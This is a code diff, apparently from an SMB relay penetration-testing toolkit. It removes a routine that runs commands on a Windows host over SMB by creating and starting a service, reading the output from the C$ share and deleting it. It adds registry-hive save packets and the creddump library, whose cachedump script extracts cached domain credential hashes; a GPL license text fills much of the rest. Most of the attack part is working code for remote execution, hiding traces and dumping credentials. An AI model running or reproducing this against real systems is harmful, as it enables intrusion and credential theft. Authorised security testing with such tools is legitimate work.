-                    if data[8:10] == "\x25\x00":
-                        if data[len(data)-4:] == "\x05\x00\x00\x00":
-                            print "[+] Failed to create the service\n"
-                            return False
-                        #print "[+] Service name: %s with display name: %s successfully created"%(ServiceNameChars, ServiceIDChars)
-                        head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-                        w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars)
-                        w.calculate()
-                        x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
-                        x.calculate()
-                        t = SMBTransDCERPC(FID=f,Data=x)
-                        t.calculate()
-                        packet0 = str(head)+str(t)
-                        buffer1 = longueur(packet0)+packet0
-                        s.send(buffer1)
-                        data = s.recv(2048)
+    ])
 
-                        ## DCE/RPC SVCCTLStartService.
-                        if data[8:10] == "\x25\x00":
-                            if data[len(data)-4:] == "\x05\x00\x00\x00":
-                                print "[+] Failed to open the service.\n"
-                                return False
-                            ContextHandler = data[84:104]
-                            head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-                            w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler)
-                            x = SMBDCEPacketData(Opnum="\x13\x00",Data=w)
-                            x.calculate()
-                            t = SMBTransDCERPC(FID=f,Data=x)
-                            t.calculate()
-                            packet0 = str(head)+str(t)
-                            buffer1 = longueur(packet0)+packet0
-                            s.send(buffer1)
-                            data = s.recv(2048)
+    def calculate(self):
+        #Padding
+        if len(str(self.fields["KeyName"]))%2==0:
+           self.fields["KeyTerminator"] = "\x00\x00\x00\x00"
+        else:
+           self.fields["KeyTerminator"] = "\x00\x00"
+        #Calc first.
+        self.fields["ActualKeyMaxSize"] = struct.pack("<i",len(str(self.fields["KeyName"]))+1)
+        self.fields["ActualKeySize"] = struct.pack("<i",len(str(self.fields["KeyName"]))+1)
+        #Convert to unicode.
+        self.fields["KeyName"] = self.fields["KeyName"].encode('utf-16le')
+        #Recalculate again, in unicode this time.
+        self.fields["KeySizeUnicode"] = struct.pack("<h",len(str(self.fields["KeyName"]))+2)
+        self.fields["MaxKeySizeUnicode"] = struct.pack("<h",len(str(self.fields["KeyName"]))+2)
 
-    ##Tree connect c$
-    if data[8:10] == "\x25\x00":
+class SMBDCEWinRegSaveKey(Packet):
+    fields = OrderedDict([
+        ("ContextHandle",        ""),
+        ("FileSizeUnicode",       "\x00\x00"),
+        ("MaxFileSizeUnicode",    "\x00\x00"),
+        ("FilePtr",               "\xa9\xdc\x00\x00"),
+        ("ActualFileMaxSize",     "\x00\x00\x00\x00"),#not unicode
+        ("ActualFileOffset",      "\x00\x00\x00\x00"),
+        ("ActualFileSize",        "\x00\x00\x00\x00"),#not unicode
+        ("File",                  ""),
+        ("FileTerminator",        "\x00\x00"),
+        ("SecAttrib",            "\x00\x00\x00\x00"),
+    ])
 
-       if data[len(data)-4:] == "\x05\x00\x00\x00":
-           print "[+] Failed to start the service.\n"
-           return False
-
-       #print "[+] Command executed, grabbing output now."
-       Logs.info('Command executed:')
-       Logs.info(clientIP+","+Username+','+Command)
-       #print "[+] Removing service.\n[+] Cleaning up output file.\n"
-       head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-       t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\C$")
-       t.calculate()
-       packet1 = str(head)+str(t)
-       buffer1 = longueur(packet1)+packet1
-       s.send(buffer1)
-       data = s.recv(2048)
-       ##OpenAndX.
-       if data[8:10] == "\x75\x00":
-          head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
-          t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00")
-          t.calculate()
-          packet1 = str(head)+str(t)
-          buffer1 = longueur(packet1)+packet1  
-          s.send(buffer1)
-          data = s.recv(2048)
-          ##OpenAndX.
-          if data[8:10] == "\x2d\x34":
-             time.sleep(1)#not found, maybe still processing the cmd. Wait a bit.
-             head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
-             t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00")
-             t.calculate()
-             packet1 = str(head)+str(t)
-             buffer1 = longueur(packet1)+packet1  
-             s.send(buffer1)
-             data = s.recv(2048)
-          ##OpenAndX.
-          if data[8:10] == "\x2d\x34":
-             time.sleep(1)#not found, command failed.
-             print "[+] The command failed."
-             return data
-
-    ##ReadRequest.
-    ## Need grab the size from Open And X and do it properly later. For now, only 65535 bytes printed.
-    if data[8:10] == "\x2d\x00":
-       ReturnedFID = data[41:43]
-       head = SMBHeader(cmd="\x2e",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x12\x00")
-       t = ReadRequestAndX(FID=ReturnedFID)
-       packet1 = str(head)+str(t)
-       buffer1 = longueur(packet1)+packet1  
-       s.send(buffer1)
-       s, data = SMBReadRecv(s)
-       #print "[+] Output:\n"
-       print ExtractCommandOutput(data)
-
-       ##Close Request
-       if data[8:10] == "\x2e\x00":
-          head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
-          t = CloseRequest(FID = ReturnedFID)
-          packet1 = str(head)+str(t)
-          buffer1 = longueur(packet1)+packet1  
-          s.send(buffer1)
-          data = s.recv(2048)
-
-    ##DeleteFileRequest.
-    if data[8:10] == "\x04\x00":
-       head = SMBHeader(cmd="\x06",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x13\x00")
-       t = DeleteFileRequest(File="\\Windows\\Temp\\Results.txt")
-       t.calculate()
-       packet1 = str(head)+str(t)
-       buffer1 = longueur(packet1)+packet1  
-       #print "[+] Deleting file now."
-       s.send(buffer1)
-       data = s.recv(2048)
-
-    if data[8:10] == "\x06\x00":
-       #print "[+] File deleted, making sure it's not there anymore.." 
-       head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
-       t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00")
-       t.calculate()
-       packet1 = str(head)+str(t)
-       buffer1 = longueur(packet1)+packet1  
-       s.send(buffer1)
-       data = s.recv(2048)
-       return data
+    def calculate(self):
+        #Padding
+        if len(str(self.fields["File"]))%2==0:
+           self.fields["FileTerminator"] = "\x00\x00\x00\x00"
+        else:
+           self.fields["FileTerminator"] = "\x00\x00"
+        #Calc first.
+        self.fields["ActualFileMaxSize"] = struct.pack("<i",len(str(self.fields["File"]))+1)
+        self.fields["ActualFileSize"] = struct.pack("<i",len(str(self.fields["File"]))+1)
+        #Convert to unicode.
+        self.fields["File"] = self.fields["File"].encode('utf-16le')
+        #Recalculate again, in unicode this time.
+        self.fields["FileSizeUnicode"] = struct.pack("<h",len(str(self.fields["File"]))+2)
+        self.fields["MaxFileSizeUnicode"] = struct.pack("<h",len(str(self.fields["File"]))+2)
 
 

tools/MultiRelay/creddump/CHANGELOG

@@ -0,0 +1,9 @@
+Version: 0.3 Date: 8/1/2012
+
+* Fixed LM and NTLM Hash Corruption issue. Thanks to Jonathan Claudius.
+  Closes Issue 3.
+
+Version: 0.2 Date: 2/24/2011
+
+* Fixed issue with wrong format specifier being used (L instead of I), which
+caused creddump to fail on 64-bit systems.

tools/MultiRelay/creddump/COPYING

@@ -0,0 +1,674 @@
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+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+  A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License.  You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+  Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+  12. No Surrender of Others' Freedom.
+
+  If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all.  For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+  13. Use with the GNU Affero General Public License.
+
+  Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work.  The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+  14. Revised Versions of this License.
+
+  The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+  Each version is given a distinguishing version number.  If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation.  If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+  If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+  Later license versions may give you additional or different
+permissions.  However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+  15. Disclaimer of Warranty.
+
+  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. Limitation of Liability.
+
+  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+  17. Interpretation of Sections 15 and 16.
+
+  If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+  If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+    <program>  Copyright (C) <year>  <name of author>
+    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+  You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+<http://www.gnu.org/licenses/>.
+
+  The GNU General Public License does not permit incorporating your program
+into proprietary programs.  If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.  But first, please read
+<http://www.gnu.org/philosophy/why-not-lgpl.html>.

tools/MultiRelay/creddump/cachedump.py

@@ -0,0 +1,33 @@
+#!/usr/bin/env python
+
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump.  If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author:       Brendan Dolan-Gavitt
+@license:      GNU General Public License 2.0 or later
+@contact:      bdolangavitt@wesleyan.edu
+"""
+
+
+import sys
+from framework.win32.domcachedump import dump_file_hashes
+
+if len(sys.argv) < 3:
+    print "usage: %s bootkey <security hive>" % sys.argv[0]
+    sys.exit(1)
+
+dump_file_hashes(sys.argv[1].decode("hex"), sys.argv[2])
+

tools/MultiRelay/creddump/framework/addrspace.py

@@ -0,0 +1,141 @@
+# Volatility
+# Copyright (C) 2007 Volatile Systems
+#
+# Original Source:
+# Copyright (C) 2004,2005,2006 4tphi Research
+# Author: {npetroni,awalters}@4tphi.net (Nick Petroni and AAron Walters)
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or (at
+# your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details. 
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 
+#
+
+"""
+@author:       AAron Walters
+@license:      GNU General Public License 2.0 or later
+@contact:      awalters@volatilesystems.com
+@organization: Volatile Systems
+"""
+
+""" Alias for all address spaces """
+
+import os
+import struct
+
+class FileAddressSpace:
+    def __init__(self, fname, mode='rb', fast=False):
+        self.fname = fname
+	self.name = fname
+	self.fhandle = open(fname, mode)
+        self.fsize = os.path.getsize(fname)
+
+	if fast == True:
+            self.fast_fhandle = open(fname, mode)
+
+    def fread(self,len):
+        return self.fast_fhandle.read(len)
+
+    def read(self, addr, len):
+        self.fhandle.seek(addr)        
+        return self.fhandle.read(len)    
+
+    def read_long(self, addr):
+        string = self.read(addr, 4)
+        (longval, ) =  struct.unpack('L', string)
+        return longval
+
+    def get_address_range(self):
+        return [0,self.fsize-1]
+
+    def get_available_addresses(self):
+        return [self.get_address_range()]
+
+    def is_valid_address(self, addr):
+        return addr < self.fsize - 1
+
+    def close():
+        self.fhandle.close()
+
+# Code below written by Brendan Dolan-Gavitt
+
+BLOCK_SIZE = 0x1000
+
+class HiveFileAddressSpace:
+    def __init__(self, fname):
+        self.fname = fname
+        self.base = FileAddressSpace(fname)
+
+    def vtop(self, vaddr):
+        return vaddr + BLOCK_SIZE + 4
+
+    def read(self, vaddr, length, zero=False):
+        first_block = BLOCK_SIZE - vaddr % BLOCK_SIZE
+        full_blocks = ((length + (vaddr % BLOCK_SIZE)) / BLOCK_SIZE) - 1
+        left_over = (length + vaddr) % BLOCK_SIZE
+        
+        paddr = self.vtop(vaddr)
+        if paddr == None and zero:
+            if length < first_block:
+                return "\0" * length
+            else:
+                stuff_read = "\0" * first_block
+        elif paddr == None:
+            return None
+        else:
+            if length < first_block:
+                stuff_read = self.base.read(paddr, length)
+                if not stuff_read and zero:
+                    return "\0" * length
+                else:
+                    return stuff_read
+
+            stuff_read = self.base.read(paddr, first_block)
+            if not stuff_read and zero:
+                stuff_read = "\0" * first_block
+
+        new_vaddr = vaddr + first_block
+        for i in range(0,full_blocks):
+            paddr = self.vtop(new_vaddr)
+            if paddr == None and zero:
+                stuff_read = stuff_read + "\0" * BLOCK_SIZE
+            elif paddr == None:
+                return None
+            else:
+                new_stuff = self.base.read(paddr, BLOCK_SIZE)
+                if not new_stuff and zero:
+                    new_stuff = "\0" * BLOCK_SIZE
+                elif not new_stuff:
+                    return None
+                else:
+                    stuff_read = stuff_read + new_stuff
+            new_vaddr = new_vaddr + BLOCK_SIZE
+
+        if left_over > 0:
+            paddr = self.vtop(new_vaddr)
+            if paddr == None and zero:
+                stuff_read = stuff_read + "\0" * left_over
+            elif paddr == None:
+                return None
+            else:
+                stuff_read = stuff_read + self.base.read(paddr, left_over)
+        return stuff_read
+
+    def read_long_phys(self, addr):
+        string = self.base.read(addr, 4)
+        (longval, ) =  struct.unpack('L', string)
+        return longval
+
+    def is_valid_address(self, vaddr):
+        paddr = self.vtop(vaddr)
+        if not paddr: return False
+        return self.base.is_valid_address(paddr)

tools/MultiRelay/creddump/framework/newobj.py

@@ -0,0 +1,301 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump.  If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author:       Brendan Dolan-Gavitt
+@license:      GNU General Public License 2.0 or later
+@contact:      bdolangavitt@wesleyan.edu
+"""
+
+from framework.object import *
+from framework.types import regtypes as types
+from operator import itemgetter
+from struct import unpack
+
+def get_ptr_type(structure, member):
+    """Return the type a pointer points to.
+       
+       Arguments:
+         structure : the name of the structure from vtypes
+         member : a list of members
+
+       Example:
+         get_ptr_type('_EPROCESS', ['ActiveProcessLinks', 'Flink']) => ['_LIST_ENTRY']
+    """
+    if len(member) > 1:
+        _, tp = get_obj_offset(types, [structure, member[0]])
+        if tp == 'array':
+            return types[structure][1][member[0]][1][2][1]
+        else:
+            return get_ptr_type(tp, member[1:])
+    else:
+        return types[structure][1][member[0]][1][1]
+
+class Obj(object):
+    """Base class for all objects.
+       
+       May return a subclass for certain data types to allow
+       for special handling.
+    """
+
+    def __new__(typ, name, address, space):
+        if name in globals():
+            # This is a bit of "magic"
+            # Could be replaced with a dict mapping type names to types
+            return globals()[name](name,address,space)
+        elif name in builtin_types:
+            return Primitive(name, address, space)
+        else:
+            obj = object.__new__(typ)
+            return obj
+    
+    def __init__(self, name, address, space):
+        self.name = name
+        self.address = address
+        self.space = space
+
+        # Subclasses can add fields to this list if they want them
+        # to show up in values() or members(), even if they do not
+        # appear in the vtype definition
+        self.extra_members = []
+    
+    def __getattribute__(self, attr):
+        try:
+            return object.__getattribute__(self, attr)
+        except AttributeError:
+            pass
+
+        if self.name in builtin_types:
+            raise AttributeError("Primitive types have no dynamic attributes")
+
+        try:
+            off, tp = get_obj_offset(types, [self.name, attr])
+        except:
+            raise AttributeError("'%s' has no attribute '%s'" % (self.name, attr))
+        
+        if tp == 'array':
+            a_len = types[self.name][1][attr][1][1]
+            l = []
+            for i in range(a_len):
+                a_off, a_tp = get_obj_offset(types, [self.name, attr, i])
+                if a_tp == 'pointer':
+                    ptp = get_ptr_type(self.name, [attr, i])
+                    l.append(Pointer(a_tp, self.address+a_off, self.space, ptp))
+                else:
+                    l.append(Obj(a_tp, self.address+a_off, self.space))
+            return l
+        elif tp == 'pointer':
+            # Can't just return a Obj here, since pointers need to also
+            # know what type they point to.
+            ptp = get_ptr_type(self.name, [attr])
+            return Pointer(tp, self.address+off, self.space, ptp)
+        else:
+            return Obj(tp, self.address+off, self.space)
+    
+    def __div__(self, other):
+        if isinstance(other,tuple) or isinstance(other,list):
+            return Pointer(other[0], self.address, self.space, other[1])
+        elif isinstance(other,str):
+            return Obj(other, self.address, self.space)
+        else:
+            raise ValueError("Must provide a type name as string for casting")
+    
+    def members(self):
+        """Return a list of this object's members, sorted by offset."""
+
+        # Could also just return the list
+        membs = [ (k, v[0]) for k,v in types[self.name][1].items()]
+        membs.sort(key=itemgetter(1))
+        return map(itemgetter(0),membs) + self.extra_members
+
+    def values(self):
+        """Return a dictionary of this object's members and their values"""
+        
+        valdict = {}
+        for k in self.members():
+            valdict[k] = getattr(self, k)
+        return valdict
+
+    def bytes(self, length=-1):
+        """Get bytes starting at the address of this object.
+        
+           Arguments:
+             length : the number of bytes to read. Default: size of
+                this object.
+        """
+
+        if length == -1:
+            length = self.size()
+        return self.space.read(self.address, length)
+
+    def size(self):
+        """Get the size of this object."""
+
+        if self.name in builtin_types:
+            return builtin_types[self.name][0]
+        else:
+            return types[self.name][0]
+    
+    def __repr__(self):
+        return "<%s @%08x>" % (self.name, self.address)
+
+    def __eq__(self, other):
+        if not isinstance(other, Obj):
+            raise TypeError("Types are incomparable")
+        return self.address == other.address and self.name == other.name
+
+    def __ne__(self, other):
+        return not self.__eq__(other)
+
+    def __hash__(self):
+        return hash(self.address) ^ hash(self.name)
+
+    def is_valid(self):
+        return self.space.is_valid_address(self.address)
+
+    def get_offset(self, member):
+        return get_obj_offset(types, [self.name] + member)
+
+class Primitive(Obj):
+    """Class to represent a primitive data type.
+       
+       Attributes:
+         value : the python primitive value of this type
+    """
+
+    def __new__(typ, *args, **kwargs):
+        obj = object.__new__(typ)
+        return obj
+
+    def __init__(self, name, address, space):
+        super(Primitive,self).__init__(name, address, space)
+        length, fmt = builtin_types[name]
+        data = space.read(address,length)
+        if not data: self.value = None
+        else: self.value = unpack(fmt,data)[0]
+    
+    def __repr__(self):
+        return repr(self.value)
+
+    def members(self):
+        return []
+
+class Pointer(Obj):
+    """Class to represent pointers.
+    
+       value : the object pointed to
+
+       If an attribute is not found in this instance,
+       the attribute will be looked up in the referenced
+       object."""
+
+    def __new__(typ, *args, **kwargs):
+        obj = object.__new__(typ)
+        return obj
+
+    def __init__(self, name, address, space, ptr_type):
+        super(Pointer,self).__init__(name, address, space)
+        ptr_address = read_value(space, name, address)
+        if ptr_type[0] == 'pointer':
+            self.value = Pointer(ptr_type[0], ptr_address, self.space, ptr_type[1])
+        else:
+            self.value = Obj(ptr_type[0], ptr_address, self.space)
+    
+    def __getattribute__(self, attr):
+        # It's still nice to be able to access things through pointers
+        # without having to explicitly dereference them, so if we don't
+        # find an attribute via our superclass, just dereference the pointer
+        # and return the attribute in the pointed-to type.
+        try:
+            return super(Pointer,self).__getattribute__(attr)
+        except AttributeError:
+            return getattr(self.value, attr)
+    
+    def __repr__(self):
+        return "<pointer to [%s @%08x]>" % (self.value.name, self.value.address)
+
+    def members(self):
+        return self.value.members()
+
+class _UNICODE_STRING(Obj):
+    """Class representing a _UNICODE_STRING
+
+    Adds the following behavior:
+      * The Buffer attribute is presented as a Python string rather
+        than a pointer to an unsigned short.
+      * The __str__ method returns the value of the Buffer.
+    """
+
+    def __new__(typ, *args, **kwargs):
+        obj = object.__new__(typ)
+        return obj
+
+    def __str__(self):
+        return self.Buffer
+
+    # Custom Attributes
+    def getBuffer(self):
+        return read_unicode_string(self.space, types, [], self.address)
+    Buffer = property(fget=getBuffer)
+
+class _CM_KEY_NODE(Obj):
+    def __new__(typ, *args, **kwargs):
+        obj = object.__new__(typ)
+        return obj
+
+    def getName(self):
+        return read_string(self.space, types, ['_CM_KEY_NODE', 'Name'],
+            self.address, self.NameLength.value)
+    Name = property(fget=getName)
+
+class _CM_KEY_VALUE(Obj):
+    def __new__(typ, *args, **kwargs):
+        obj = object.__new__(typ)
+        return obj
+
+    def getName(self):
+        return read_string(self.space, types, ['_CM_KEY_VALUE', 'Name'],
+            self.address, self.NameLength.value)
+    Name = property(fget=getName)
+
+class _CHILD_LIST(Obj):
+    def __new__(typ, *args, **kwargs):
+        obj = object.__new__(typ)
+        return obj
+
+    def getList(self):
+        lst = []
+        list_address = read_obj(self.space, types,
+            ['_CHILD_LIST', 'List'], self.address)
+        for i in range(self.Count.value):
+            lst.append(Pointer("pointer", list_address+(i*4), self.space,
+                ["_CM_KEY_VALUE"]))
+        return lst
+    List = property(fget=getList)
+
+class _CM_KEY_INDEX(Obj):
+    def __new__(typ, *args, **kwargs):
+        obj = object.__new__(typ)
+        return obj
+
+    def getList(self):
+        lst = []
+        for i in range(self.Count.value):
+            # we are ignoring the hash value here
+            off,tp = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i*2])
+            lst.append(Pointer("pointer", self.address+off, self.space,
+                ["_CM_KEY_NODE"]))
+        return lst
+    List = property(fget=getList)

tools/MultiRelay/creddump/framework/object.py

@@ -0,0 +1,171 @@
+# Volatools Basic
+# Copyright (C) 2007 Komoku, Inc.
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or (at
+# your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details. 
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 
+#
+
+"""
+@author:       AAron Walters and Nick Petroni
+@license:      GNU General Public License 2.0 or later
+@contact:      awalters@komoku.com, npetroni@komoku.com
+@organization: Komoku, Inc.
+"""
+
+import struct
+
+builtin_types = { \
+    'int' : (4, 'i'), \
+    'long': (4, 'i'), \
+    'unsigned long' : (4, 'I'), \
+    'unsigned int' : (4, 'I'), \
+    'address' : (4, 'I'), \
+    'char' : (1, 'c'), \
+    'unsigned char' : (1, 'B'), \
+    'unsigned short' : (2, 'H'), \
+    'short' : (2, 'h'), \
+    'long long' : (8, 'q'), \
+    'unsigned long long' : (8, 'Q'), \
+    'pointer' : (4, 'I'),\
+    }
+
+
+def obj_size(types, objname):
+    if not types.has_key(objname):
+        raise Exception('Invalid type %s not in types' % (objname))
+
+    return types[objname][0]
+
+def builtin_size(builtin):
+    if not builtin_types.has_key(builtin):
+        raise Exception('Invalid built-in type %s' % (builtin))
+
+    return builtin_types[builtin][0]
+
+def read_value(addr_space, value_type, vaddr):
+    """
+    Read the low-level value for a built-in type. 
+    """
+
+    if not builtin_types.has_key(value_type):
+        raise Exception('Invalid built-in type %s' % (value_type))
+
+    type_unpack_char = builtin_types[value_type][1]
+    type_size        = builtin_types[value_type][0]
+
+    buf = addr_space.read(vaddr, type_size)
+    if buf is None:
+        return None
+    (val, ) = struct.unpack(type_unpack_char, buf)
+
+    return val
+
+def read_unicode_string(addr_space, types, member_list, vaddr):
+    offset = 0
+    if len(member_list) > 1:
+        (offset, current_type) = get_obj_offset(types, member_list)
+
+
+    buf    = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset)
+    length = read_obj(addr_space, types, ['_UNICODE_STRING', 'Length'], vaddr + offset)
+
+    if length == 0x0:
+        return ""
+
+    if buf is None or length is None:
+        return None
+
+    readBuf = read_string(addr_space, types, ['char'], buf, length)
+
+    if readBuf is None:
+        return None
+    
+    try:
+        readBuf = readBuf.decode('UTF-16').encode('ascii')
+    except:
+        return None
+    
+    return readBuf
+
+def read_string(addr_space, types, member_list, vaddr, max_length=256):
+    offset = 0
+    if len(member_list) > 1:
+        (offset, current_type) = get_obj_offset(types, member_list)
+
+    val = addr_space.read(vaddr + offset, max_length)
+
+    return val    
+    
+
+def read_null_string(addr_space, types, member_list, vaddr, max_length=256):
+    string = read_string(addr_space, types, member_list, vaddr, max_length)
+
+    if string is None:
+        return None
+
+    if (string.find('\0') == -1):
+        return string
+    (string, none) = string.split('\0', 1)
+    return string
+        
+
+def get_obj_offset(types, member_list):
+    """
+    Returns the (offset, type) pair for a given list
+    """
+    member_list.reverse()
+
+    current_type = member_list.pop()
+
+    offset = 0
+
+    while (len(member_list) > 0):
